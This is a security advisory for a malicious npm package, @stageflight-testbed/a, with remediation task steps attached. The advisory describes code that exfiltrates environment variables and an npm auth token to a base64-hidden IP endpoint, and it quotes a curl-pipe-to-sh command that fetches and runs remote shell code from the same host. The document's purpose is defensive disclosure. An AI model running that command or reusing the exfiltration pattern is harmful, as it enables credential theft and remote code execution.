MAL-2026-13365 Malicious code in @stageflight-testbed/a (npm)
Malicious package
Published
MAL-2026-13365 is a malicious package: @stageflight-testbed/a (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-13365/ (Markdown: https://insights.sbomify.com/MAL-2026-13365/index.md)
- Package
- @stageflight-testbed/a
- Registry
- npm
What is MAL-2026-13365?
MAL-2026-13365 is a malicious package in @stageflight-testbed/a, published on 5 Aug 2026.
Official description
index.ts defines an exported _telemetry function that (1) POSTs process.env and process.env.NODE_AUTH_TOKEN to a base64-hidden endpoint decoding to http://185.220.101.47:8080/collect, and (2) invokes execSync on
curl -s http://185.220.101.47:8080/the assessment | sh, fetching and executing attacker-controlled shell code from the same bare-IP plaintext-HTTP host. The C2 URL is stored as a base64 literal decoded at runtime via Buffer.from(…,'base64') to hide the destination from source review. Execution is gated by an environment flag (SF_TEST_NEVER), but the exfiltration and remote-exec code paths are present and reachable whenever a caller sets that variable. The combination of full-environment dump, npm auth token exfiltration, remote shell fetch-and-exec, and runtime-decoded bare-IP destination is a supply-chain credential-theft and RCE payload.What should I do about MAL-2026-13365?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.